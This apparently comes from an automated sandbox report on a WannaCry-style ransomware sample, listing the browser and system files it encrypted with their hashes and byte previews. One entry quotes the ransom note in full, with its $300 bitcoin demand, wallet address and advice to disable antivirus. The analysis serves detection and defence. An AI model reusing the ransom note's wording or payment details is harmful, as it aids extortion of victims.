                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\96.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1768
                                                                                                                        Entropy (8bit):7.869681309127821
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:48:bkyn8P+DvchYDUaa35khXUXcsvHlLOkGEn:oyn8Puvc5XpXc2GEn
                                                                                                                        MD5:1BEA32FF8197847DB28E421B9EB80AF8
                                                                                                                        SHA1:982527261FAE871E969E133D3A7001A7036DB8F2
                                                                                                                        SHA-256:736BA2828428E23F769C95C9E6F6D88D29B9046428BD3C1F7EB01E1EA7E82FE9
                                                                                                                        SHA-512:B156AE2DF0B5354826B1BD3A5E82DB189071875D26CBABE229A315AEFCE08A0D73034CBF13358CA5BE8DE053A7D5399D8F0C734BB5D70F71F1F7E371ABC7E220
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......%..@./..E.-...WSo... .{.v./..XvC....%..0i0Wi..<4..z.l6kj]..,|......83....a.wu..fH.....\6{F@....x..h.....O..LC...."*.M.l>.....5..A..Pw..f.q.9..~......v..2H...Sb.(....\Q:.Fh\..m.Hh...6.H.v.b...2.M..W..r.a...a?ceh9...t.q]1*..6.... .).bA.....M<..............s.6...s.........Bwm..%:.....mN...K../..8..X3%Q._k%1.r.i%....Y..7....w..v.`..7$.|.[w.w..J...J\.w...V...I ..A.PS\..G.;AH..`.V...j...=o......?F.p..s.C.f.'.....s.P^7../...a..k...I...N..@......h.L..3....1._...e.|.].._....w.......b..K..Z.](<.)*!.....A.}..dD..9....:;.eu...7....G.xOy.>..U......vr.J....#...ke.z./...-...........|IR....ch-..J].....\G[...5...H(di.W^.b..Mv..q..4..%..W.{.l*.p<.6Pt.5<..T.K.a.....7..9_...L....U{.n..f.6c....w.[.?".R...E*..\.gi.c..$.....q....Fj..Y.....$7..>uKLo{.e...$..(..z:'.x..S...m....>s...r..p..a..M..C.....MXY"`m.xS.....7..E.....V.....!.Q.,.,W......c)..<.r...D~w.N..B.<.#..d.d.......Z/.<..G.S86....d=.|.-.{..L461.B7...\.D.I..V..y....%e..w.;./..........7..

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\heavy_ad_intervention_opt_out.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):16664
                                                                                                                        Entropy (8bit):7.989023675829
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:384:TmGbMWWGnUf8ETEeTLy/c2pQXr/JSnBqghj7NP67P7IKUR:TmGbBRUkApAcsJBqOjBP6oFR
                                                                                                                        MD5:47C2AF54FDEFA7FE71A4A2BC9E4E86D0
                                                                                                                        SHA1:0433AC4D52E8D68272D091C5E7A08BDE3B4D3FFA
                                                                                                                        SHA-256:77E46D6680B575745053D4FFA2D5DB10D3225A173092E8DA37C6D81E03E3131E
                                                                                                                        SHA-512:579831D327A431C42E7E319111594519F289FA5048163373E827E10372E9B543D2781F0829145E04382658994C9CF561447A4A92F0DA62F7CE10C938474A277A
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....E..g7..1+I..i.....0xp.1..O6...N.L...Y......^/.v.aG.P....~.....;#..r...+'&o.`.gUk...VW*....w~L........&'t.....GM..r...N.EL.J.[.+=:.H..2E....J..U6...U..W.<.}..*.~c....Zt..E...i..3t.......R.u...'...P...pd.]....>)..s..A..5........0ya...f.Z].4.B$.....@.......!....$D.....Eb........>..w...iE.y.s.Y...~E\.5.~.....H"].......K...5...".3.a...=.[..iP.W..w.V..p....k.&..*.M9.&Y$.B.L........T..J.<AMB?|f.v...~e..5....`f.?.h>..@c...OENj5...*L...o+.P.....H^a}.m..j....m.eH.....y..NeT..........T..m c.Q...m2...v.%=.`..r....#.g..W ..>p..)..a.@..mHze.=:.I.../..K}Va.1|..gj..;...k...5....}......9.@./.I=.q.F..T.bNZ....Y....I.@......-....s........s........X.&.Lf......HR.....M......6y.v.@..B-.[...s.A.b....R)...|_....Xcw.S..V`j..?......`X6Z.E..>....?.....PT..c..B....p...{.{...C(.l.A).'F...T....c.8.H..g..U..&=..s....x.8l].W|.*...M.(;..Ui...=H.^..~.....].x...A.Q.L..v.A.^.<..........:cz..q..|...b..e.m.ZO.Z.T.(_6D.......uc.aBn.Hx.B.O.t.g.../s..y.x.OM....M2..y

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Subresource Filter\Unindexed Rules\9.29.4\LICENSE.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):24904
                                                                                                                        Entropy (8bit):7.993406274125519
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:384:qWubxR67mg+EVPqm7jppD9roP0V+01Mx5JV70km5tFBWPM49brO9s:qWqZgtPqm7zJsPkyfV9StFBWE49brO9s
                                                                                                                        MD5:2A774027FF965FEEAB2B54015EA0388C
                                                                                                                        SHA1:1C00463D470FAAF2A7CABE868C6391E759C2812B
                                                                                                                        SHA-256:14366094878CBB319F961B06DFF8B56C8ACD6C5C653FB1ED875534823420E1EA
                                                                                                                        SHA-512:DAC685AACC7757CBD2AC3DED43C287F7ECBE828F44DB727A5F9C40E599DF45DF5BCAFE71712F9CEAD952D3877730FB418C5071BCFBF5D109D4E25FB1558639DA
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!............,A...,O..b.!..,nP...M.m._v.0n...*.S.iQ.T@.:.(...s.Q?-..E.TJ.. ..l.JW.AQ..wB.....Y..e......W..P)..2..eP..)t.i..G'.J=.)S.....c...S.....(../......%7.J.......w.......-.s..C.%'.p..c.2[-.(.d.&.T;..X=.....5.&.6c..w.s.@....$R..o......5....R.....4.N.Z..../`.......fP....?H...b...Ve.?.. ...G..t.xA....N..."..p..g!.....u.5."...$....%...A....b.3 ...`..1.O.\U.?F.I..<.e.R...l.t.......wR..7M.....X.nb.........{7.\......a...........n@.{..Qm).;..6.....oB.&...V...J]..eJ...}ju=5\@6Z.A$..i...\.#.$.mS.o.e.k-Zk.@..............l..uo..?.h.ZV.r.....s....-.t'...Rm~M.....!.R.F^.=:!.oe1.0.j...K.4M.....(5..}...(.l|..:b.N.....c..&......."...4S...z.P....p.u........dh.<./.=3.~.Jy.......4.]....J...*.....%."B..... .$F.-....P..K..V.......P.m....J....j.,.5.'>...&bX{..C.H. ..uk..La...U...W,.w.....]...G....C...K.\.>0.Y.s...&.+..#..3.*.Xu...9k.-;......1.. .Lx&.h.....U.Nt:..r..1.li...V}..;?7._.o..>yY....G)....CW.u..}....f.d.mk..A.[....s.[.........0........O.E.=,.A.w.(*0.].4

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\chrome_shutdown_ms.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):296
                                                                                                                        Entropy (8bit):7.163996599194578
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6:bkE0bV4dDG6SwXHY+/qYvVYuGCNB1lxVXMYQLBWQVKqn:bkE0J4dDLtvCiB9RMYmgQVX
                                                                                                                        MD5:31FDCE2179D15FE927B4FB9F76CD06DA
                                                                                                                        SHA1:37A6BB17530FAAB6470EDB0CA27EFFBFE1A551E1
                                                                                                                        SHA-256:DCF439D96C152C385BB5C7B3CD77A32038257E76C55E2204C03F4D0A81D165B6
                                                                                                                        SHA-512:0AEEFE70BF20BE5F92E5E449D50581DD3F5FDB9241B1D4120456266A9E7B74AF4FF7F9BC327758F6410B891BDDA585554D6C09378344125404532563F0839C44
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......x.>...M.BpId<.x..1:.~L.b..|...'..2...SM.W.[".JM.D.m_...23H*..].G.duxIc.......M.o._.F..G5....#.b.$.C....D@.X..M9*...CK....m..?.a.HJ.X.x..O@..?M].*:&....8.!..pv.A.m...e.S....r.d.u[. .j61.m....)m;..G.A.GN..A....=....Z..$......e...GD[..-..wF(|..I.............pO.$3..r......

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\first_party_sets.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):49432
                                                                                                                        Entropy (8bit):7.996443286068768
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:1536:8QSm/ydNGum/17/CvlivureaF3vL10vfZ:em/8Ntm/V/iJree3SHZ
                                                                                                                        MD5:18BAE3281A25F6E2EDBFE95CA522EC31
                                                                                                                        SHA1:2BCFDFFB96B30F788018B1F2E1B2640BA07F0827
                                                                                                                        SHA-256:457C7E12CC8F551C396832D95199853C3BF1B5281BB680D0B3E67F9F8B5C7F50
                                                                                                                        SHA-512:3CCE6701EE4E1009D22A66E16AFADE62DA27D22F8B0507F7B3CFD54081C0D458AF9B9DD48E631C71A7903E90C36B3206022502CF50389FC94CFEB0E425EA1EB4
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!..........:.<W_.......j....Er.....1....../.....)...^O..[.I.".......l.Z.+.....7..k.}.....u.K.2.x\....fG..b.X..s.[]...'..,.@..(I.TD......0 1...?...5.}.....f..)l0....GR.^^.s.:I.....n.*......(tnW.U....-..C.M..(*;.t.....a..QX..%.6W........_{.L}...............'...l...N...X.6.R.L..|.o.)..?./.a.n..<...pK..^...G.I...F.>e9!.A.z1p...*.[......W.w.._....K`2....7.,.y6v. .q....,...+.wR.".......y..::.>....N.l.}..Gj.sm~......2Y_...u.W.m...E.LS.....e..-\."..N.s.7.v.....c#.U.;...=H^.kB.......k4.r5..U.(.S.f...S.I....eJ.<....cRh1..q|..q../...$..Q.$....B4Pj...q&....^.f1~...jr.Y..xH.........7-F...R..]......+C.teI.m..=.wQ...L.......>.....+./C.?%4......>A...[...f8..z.1.Sg.%..m9.T..Y.~...WT..NNN..~=......bVD...q.....s <EV;k.Vt]..m]..LM.I..7.B.......>....?&u.$q.J?....R,]S.T..|..Z....6P.....Q...].....%Bi..!X.??..I&.6:......>...t7exPx.0.y&R..3..R..j7 ..=gU,...B.1. .1.........o..3T..JF..I..p!p%.^...#=.(.gX.._Lrx.ai8D.N1.~>.Q...B..Ms]...#K.`..R[...D.E

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\optimization_guide_model_store\15\E6DC4029A1E4B4C1\1834E8353BA7A499\VERSION.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):392
                                                                                                                        Entropy (8bit):7.366024936554192
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:12:bkEFnr1GTs01wfqR+PCc5rwZMPPWI/pOe/jrqnX:bkQrB01w8+ac5r4OPHwX
                                                                                                                        MD5:9DA5D993B96BD5934B66FCAA76D8BB57
                                                                                                                        SHA1:BB02FA2A06F3D5760C25B97D7E3CDBBA0AEBEB65
                                                                                                                        SHA-256:C2D7E7F83A4A3ADAC93A97136AA05DFC72912310231FCBD709B4641F2EC17AA3
                                                                                                                        SHA-512:75E8B1CB3DA7A75AB5607B5E05DC8779C439AA6E03B0458F47ED8C5EE234750AA8C0004201D336C6E2980F665CF038DBC12A5482FC84382408DB52DCC622BED3
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....K.^.k....Y....6;...r......x."..JL..!...|.-.e.........P.......C....i.];.#..p.....Sp...(J..@~...q.....E.....C9|2Z......8&...].!.....J..+u.u..wmU...Y.9......cB.......c....i.GM..*....I..........!...7..zN.sj.d..U..H`..P.....R.^..-.H.baB.p.uE......j.......x.L.FW..LA.p.....eu`.Ab...!B.q..]o.+..m..9..]..0G..~.Q#.=...M.ND.U?c.Z..G30...6.b..S..rO%Vh.........\....AG

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\optimization_guide_model_store\15\E6DC4029A1E4B4C1\1834E8353BA7A499\override_list.pb.gz.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):468136
                                                                                                                        Entropy (8bit):7.99958695272055
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:12288:bj3qydQbBZQW/wljnvaZ/Ax73Jxfr9Byf1PANXWKMocV:/3QbB+Sw9C5Axtxf7yNyGoG
                                                                                                                        MD5:1686A903FC87C8EC8F33DB4884ECE7F6
                                                                                                                        SHA1:8B93C354C73FA4F09A3F174A014911D694E8E9CB
                                                                                                                        SHA-256:211CD3BE4D29775F4D244C7999B75E616A39BDC977EEB862688CD6B87F234097
                                                                                                                        SHA-512:C86076C732F2D8D87F0598B3C2857E70F6441A1E511ED4F0F11A183CBAEB43E17ED1A760B6B15AD8B3A314BB368D1B0FA85D366B89F1141D81A8F5BD61B385C6
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!....c...b......4#..J...-.>..G3..Y.H..S.Y[!..E...y.qJg.....-.......w.j..A;....#......I....^...2Om..-.+...%..W..."..f...fj.....uI..<k.'........H.....G.Z`DE.mFv.7s..#.r(.....>N.BZ..e........wy.@.W....ob.L.m...=....Y}OI[......a.`..k.6}m..m..~.v...n.......#.........~.mh..Aq......-...;..g.b..s3L...k.l...c....`DZo.,.....uSZ.;.....*,..#..Q.;....c.rX..dG..D......H..2..5....Qvo....&=.....R.\.r2..O..m..b...rd..x....hgf.Q._JH.8..~..S`.8..........z.67.._....Ie.F.p....x8......NC...._....M.|9..b.V..c.B...s...)..\...z.D.Hq....]@.]\..r......:8..EW.g<..u..}?b1a&.&..`....A!/.Y..f3H...P.P.v.J..|M...g...#.=$i.m....5_Y5Hm..7...M..n$........%.[I.0.......xp.s:..v......'8.BT.a.FV.....+.3N.....J.;z.J..?..o......_..)=..6".....@.#.3.2D$P..x.....$..Z...v.........IX|........6y.H... .;..7....*3m.x...y&..=.......d&AV?.k92D<.2..!.JHY=...5...^...+.P<....n....*...k.ESH..H..2.A.O.....z?..>[.u/...AE.\[*....Z.mR..w...7.......;.A].>...h.n1.:..$h..5.r..}....Tt....xo

                                                                                                                        C:\Users\user\AppData\Local\IconCache.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):8632
                                                                                                                        Entropy (8bit):7.974980010718263
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:192:nu2NhX7rTeoWkZRf/uECUxGcqb7OKMETOE4CgT/sCf/fAPT:nucd7rTxWSuYxObCKMEiE4Cgrsy/y
                                                                                                                        MD5:90DB8499FE06E73A7E7CB9E55C8E0692
                                                                                                                        SHA1:37502ACB1BABE3F2711BC14C49D610A6ACF89535
                                                                                                                        SHA-256:39B873B987EBB4F527D05AD9D3EF52BBE59BFB6B60F1E1557E441BB2C39D4460
                                                                                                                        SHA-512:8F84AB740B154D1D921E092CDDE8D75E9E453C318DE520B290A5C203FDAE1F1B8AF8E8C5D7C44CA90DBF946F3FA7FB6D1EB63776EED448C6EB3A78526A8F7217
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......+.Z.C....R..... ..~...+7..yI+..G..{. ..A..I..i?...3...3<#Q...._..}.5........:D._.5[..>.w.R..wX.}.#.B.a..x.....R..|nam...)........w..H.....9.,.eO../..;..@... .s.YI.y[.u.n78.........w..1k...=|_L@(~....U..L..Jzy....,...i.:x.....&eO...lF.......u..... ........cFo.>Um..QYE.k'..1...7..L.f<...wlD.!..U.V.......3.g.8$8...E(.3...e{.F._...t....#..@8/..'.....x9"Q..C.x.....,#..-/)......*......&.$...Y...C......\..z.......9..+'.%.,.X}..*..x#.....'........NMZ>?-i>Z...=..^.1F2.i.+......a.A]L.....4..p3.0....f...r...@.Ag.B..c..z}B....%#.k.X.....g.!..^...E..m......W.=...p.$..hI.t.g. ...`...h\L.@..$.L;...K>G..z.]p..w..^G..j....gu.R.),.....=..0...=. .w..*VJ9c<.l.P....q.L.yVA.....c...DiU.q*pP.^..r...bh_......:n ...u.<.p....*.........o.@i..}.....{....V....*n<Rl.Y.X.....u.;..3..=.n..'(......wD3.L... .J%H......t9....!l...:t...\m.j;op..}T..T...3....h.v...>..g.\V...x.s./.Rzw.. .v.7.X.bJ.o?co..|swc.O..F.v.........8.z...E..T4..6......2..z t..P.B.. ...A..

                                                                                                                        C:\Users\user\AppData\Local\Intel\CUIPromotions\Images\000000_INTEL.ODYSSEY_ADDITIONAL_GAMEPLAY_ASSET_CUI.2.3-600x300.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):229640
                                                                                                                        Entropy (8bit):7.9992665122698225
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:6144:e8kFmkrC5uqNecadhO+hgahB4T6y4bf5Qk7tpO10vJZdw5Cy6Q:dkFmK0uOeLdhFgMO6yYfCijzdw5qQ
                                                                                                                        MD5:2BEEEF8AC648BC44EE1FD588DAC3C079
                                                                                                                        SHA1:167B3F8B8757F9F10DC013B4A692A254BF4C25BE
                                                                                                                        SHA-256:0AAF9E73BE16737EC10944E5A7D07A56944A48C7D61C83C66550E00D84C447DB
                                                                                                                        SHA-512:0D1F72F892F05B349F5BB1ABEDE21C31D6EAAA654AA143A5893AF20FA7F521DD96FF0EEE898870BBD51D187B09889351BA6E9D909DD44687054BACCCFDDB58B3
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!....].p_.....gjT.U|g.P.j.0...j.=..f..?7.Wqx.L.|....e. ..-o...&..&).{....F...B..X...C.l.P&I..d[..};..VGJ.T.oP....M.....;.M.......;.@...}.{...f.S~..R'...+JY3).q.r..O.....zY....#W..f+...}..^^7.oj'(D..e...OU.`..v..O..".}....`.M..._ ..T0.....{.....s. ..............E.R,..g%.!.\...c.).w.&.h..[.C.@!\v.....Wu.....~..t..9.......n.:..#..L.L..!..h..w./..]T.-...uW7...R...%...`.v..u...-$.........t.....Y......o..@.Y.K.^,WY..-z.{.U.z .W..^l...s.....wT...>.].B...e..J)..U.`T..g.....6...`.....Y)......}.T..U^%x....?n.H....S<i"[...u.9.!.Z.....d.\...2....2]$.5....$....hE.....s.A.9..). ..u..%..L{..b..1..^.....1|x..Z].$.h.5.mbXB..]tc;O..Jk..$..*.pVo.4FR.;>....$...To!06d......%..0.......% ..4..8...X?..OI.VC......33k....$..rU.VA......N....9..G/.....0s.9[.J....2....Gj.C=.Q...z.s..Y.0.h.m.[G84.#.5}................2t......%j,*....GfK..6.,.........DO.e. ..........;"u.2GO...X..c.N.......AG.....q..J.8.._...`.'....$....'}N..J.:z..kPb...|..2.....j..g..JA..F.M...j

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\heavy_ad_intervention_opt_out.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):16664
                                                                                                                        Entropy (8bit):7.98922988728539
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:384:S66kPBpXnaf1zLJZfRSZEnzo5K7IE2NOOACwIaWY12KuiPJq4T5t:SkPnG135Znzo07WNONnIaL12Hi04dt
                                                                                                                        MD5:E1EFE5A01BC42F3F6DC638239C3B1B41
                                                                                                                        SHA1:42752E6CB0BF5456D2A4FAC7DED6669095B53872
                                                                                                                        SHA-256:82EC430575858603A6A722F2F50A4FDC394E1EC7258BBEC3286AD5377EDAD331
                                                                                                                        SHA-512:AB1455D28B01C6376852BAA613D7BF72BB80E9D5301EB84687798D3FD85E81AAFB96ED70FC2B8A24291204E7CA1F0E37B73C9C86DC4964315EF379F8EC6FFCD6
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....2l..8.q.7....%"{.m.D%...D.8O...i........B._Y.89~........5s.......f.....S..g.....0..d.^@w~.N#..I.i.....D...m3..{.u...Q.'....i>..S.....{.S.........~......71cKA..-q.....6V0...x.*;].............0..l}.|.(I..)..v.`8.@A....S1.f..k.F...[......D..{.W........@......W...,..$s......6........5b.7...w.J.'..0m.y.....H...$.b.......1Uvy. ....?IZ.q7.n.3.~k=.%u.......t.W..(.1......a....#...&;h..[#.SJ....F.3u..s........Jh..3*..D..3.K?...w....4.g..<.+...(..^..~...u.-qn.........Su.O..#..N..D..q...6..}...!d.....D.Xt..lC+..a...s^.O...x_6.o`...Qf..........s.L,|..lO.$.}..0M..-..v.....Dh.......GFB..3+...Q....)..S..wZ\..:&...b.....4...^.q. K.._i2...9..G.....@..G.Y.7..n .q..... W...}......5)\..c.)E.N..U ...)c:.x...SJ..W.fA{V.]&8..tk...i...O.a.........H.t....}|..zo.jq.j.......G.....`.8.Fu@0Rg...F...W..q"j3.@..[...P-.h".|.H..n:w...Px..1......&?y.b......7._.....s...N..=?..WB..a.o.....i.r..6...g.O..<].$J..`%a...0....y?A.1OsA..H(.[.U:p..j...8a,.Z...U....]

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):45336
                                                                                                                        Entropy (8bit):7.995327038769302
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:768:bhNnf9n2v1EZgH9aYkkMRiiu6OEkt1bi4m19Te0/RiN9G0zjjTzwsS5wz5DYN:LnVn2NEZgwYkkqiiEpblw/4Lzjf8s9zO
                                                                                                                        MD5:A7FE8A3F90B4D92C9900F33B50CA7DEE
                                                                                                                        SHA1:A2BAB7EF057D3CAEE6A68CDDBD360116DDE75CA6
                                                                                                                        SHA-256:ACBBBB0D6D5DAEE3F437F7A8F8F0B0B7D19EDD4D4186BFA332C6B27C9C5B870F
                                                                                                                        SHA-512:74E0D55F6F28A88001D10E4D3A685BB457BA3B47B4A998205CA5A2A6AE1EEAF53B8EA1440637E48776CF01D3C13D6B6082AD94A35AA9BEA2B0B03315136D1AAA
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!......D...-./.....))..../......1Z..q.....Q.....+...d.a.N...L......*rf2Y..%CO.6.,D...wP..U.)..H +[...,l..x..>.0.~...w.5~l.w.H../v...{.5.dT0.d.."..N.j..&........%5..q4.>B.4.'...f&..e:,....+.%..x....?.5.....I.....`.....0A.cM.E.v...'.$....m.Jy.x.F...>9WN[............ %.5&il.T(O0.E\.......1...6.V.. X...Z..0>.......P..;..$I.+.$P.=..p..L..c...7.K..>.E...u....v#.5...r-...D.n.&FM.....C.......<=.u.T!*.......=..\...a.+.........g..G..n.X..F.deT...[....<.P8...N..*j........c?+vT,....N.WV..c.'C3...C.]..u$..-.%I.}._1....5G....._.h.H..Jc.U.)F.2.h..E..p....:....w.3.|Q.T.jf.6n|.....9)5?rI.f..3.1.....o._.i!........`rK8Z.p..{dn.a_.J....G.d...a.@KaGu..K....../.o>n.O..1..q....3.K..!....Ri..wM..-..`6.9.....wVB..a.Mx..'V..FUy.yWh...Zq6.w.\.....ZsB..o.!3.<'O..n.[...........(..........l\..pq......].HVc]/.9gB.ZV....u.g.p..'r=A.("_...{l!._..G..c.qD..~osW.YL...b..\......8.?....HY.i...!..c.[\YE3..jU.%.3..U.JDQ`.P..4b.|...uK...-.!)..q...g.l.qk...M..1.wM9.....A.!...a...?....

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Edge\User Data\edge_shutdown_ms.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):296
                                                                                                                        Entropy (8bit):7.109961085428761
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6:bkEX2AvfKtPSvEEAACj6vys2tWG54GfIcZ43rzykkJypliyjD:bkEZS00Qvybturc63rz3kJ2iC
                                                                                                                        MD5:71FA8B2D82D6149966FC74EB7ADDA42C
                                                                                                                        SHA1:E5E7388BEA8DA2AE03C621E72FB4CC92C65C7D27
                                                                                                                        SHA-256:943496B1766AAADD546393944CAA594DA12257598A4D0963183C47CC06DD6205
                                                                                                                        SHA-512:F285454621C2BC6CD91F2DFFE4131BB391FB8D2B4F0FC563FCD26BD6161BCFA772E2EA40A9AC12BE86A893757517F387F7107986910D3096F02AACF5E332370C
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!........@......t.!.o.iM..)....M..t....C.....d;-........Z......u(.;x....$GE.a...X.v..j...?.3..i...`.A..~.(\=.............j.>.(J+....+m...7..H...V.b.L..&.H.8..O^.>/ E%{+.}..sL.+~I]........n./3....^.......'?....u....1.O.68..;.+...MT..C&>..]|}...m............D0_s.n.z....i.

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Internet Explorer\@Please_Read_Me@.txt

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:ASCII text, with CRLF line terminators
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):933
                                                                                                                        Entropy (8bit):4.708686542546707
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                                                                                                        MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                                                                                                        SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                                                                                                        SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                                                                                                        SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                                                                                                        Malicious:false
                                                                                                                        Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Internet Explorer\@WanaDecryptor@.exe.lnk

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Jan 8 18:46:33 2025, mtime=Wed Jan 8 18:46:33 2025, atime=Fri May 12 06:22:56 2017, length=245760, window=hide
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):577
                                                                                                                        Entropy (8bit):5.167142294096636
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:12:8NpzYNbf2jUl9nNArUoBjAfodwalOmCt:8klbwAmsm
                                                                                                                        MD5:D32A14B20ADB8540FF2F16E7A3F0611D
                                                                                                                        SHA1:BB088EFA392719E58AD6EB2CE8AA38E01C22F661
                                                                                                                        SHA-256:7C1188B4684DCD5D3C276E697FFA8F4883225A01723ED332D81607AFB8B83851
                                                                                                                        SHA-512:01B71960133F8FA6ADE4AF85F5A0203E0F09B648EFF30F6C74483643225047F10A32A3EBF74A8F4202655E1EDFF43D1D24464F72D4D005D5A5189E81958A67ED
                                                                                                                        Malicious:true
                                                                                                                        Preview:L..................F.... .....w..b....w..b....U..................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.......`._........b.......b....t.2......J.: .@WANAD~1.EXE..X......(Z.(Z.....\.........................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......Z...............-.......Y.............[.....C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......226546..............n4UB.. .|..o........G.P..#.....n4UB.. .|..o........G.P..#.E.......9...1SPS..mD..pH.H@..=x.....h....H......c-dSA....n.............

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Internet Explorer\brndlog.bak.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):6776
                                                                                                                        Entropy (8bit):7.970727605154426
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:192:zsBZiXmxa/sp9TIFCQWW4FoiXb9ucmQHKicUwN:zsHiSa/K6FFm9utWKicUI
